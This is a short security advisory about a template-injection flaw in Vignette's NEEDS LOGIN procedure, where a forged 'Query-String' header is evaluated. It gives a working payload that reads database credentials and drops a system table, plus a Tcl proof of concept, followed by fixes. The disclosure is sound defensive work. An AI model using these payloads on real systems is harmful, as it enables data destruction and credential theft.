Vignette NEEDS LOGIN exploit
As you know, Vignette escapes "[" and "]" in formdata to their HTML entities for security as SET does an EVAL on all values, which could make "SET foo [SHOW someFormValue]" a risk.
However, Vignette does not extend this courtesy to headers sent in the HTTP request, which are all available as HTTP_REFERER and others. Basicaly anything in the form of some-header becomes HTTP_SOME_HEADER.
There is a variable called HTTP_QUERY_STRING with contains any form data in the GET, ie: "foo=bar" if the request was: "/some/template?foo=bar".
The parsing of the headers is done after this HTTP_QUERY_STRING is set, meaning you can send a header named "Query-String" and it's value, with brackets in tact, will overwrite the existing "HTTP_QUERY_STRING".
If you are running your CMA, using NEEDS LOGIN, on a public server, or have a development CDS on the internet, you are at GREAT risk.
NEEDS LOGIN (procedure NEEDS in stdlib.tcl) does this fatal thing:
SET queryString [SHOW HTTP_QUERY_STRING]
Writing this one as a one-liner in the header to drop a vignette system table on such a site is simple:
[SET SERVER [SHOW SYSTEM_DB_SERVER];
SET PASSWORD [SHOW SYSTEM_DB_PASSWORD];
SET USERNAME [SHOW SYSTEM_DB_USERNAME];
SEARCH TABLE foo SQL "drop table VGN_CFGVAR";]
Or simply doing queries and emailing the results to yourself is easy too.
Try this at home
A simple way to verify my findings is this:
Create a table named "exp" in your content db and one template like:
[
package require http
set headers [list "Query-String" {[SEARCH TABLE foo SQL "drop
table exp"]}]
set token [::http::geturl http://yourserver/foo -headers $headers]
::http::data $token
]
Then a second template (/foo) with simply [NEEDS LOGIN] on it.
Run template one.
Now try to select something from table "exp". Great, huh?
Fix
You can simply avoid this by changing:
SET queryString [SHOW HTTP_QUERY_STRING]
to:
SET queryString [SHOW HTTP_QUERY_STRING] NOEVAL
A better fix would be to clean all incomming headers by putting this script into your delivery.tcl file:
foreach var [info vars ::HTTP_*] {
regsub -all {\[|\]} [set $var] {} $var
}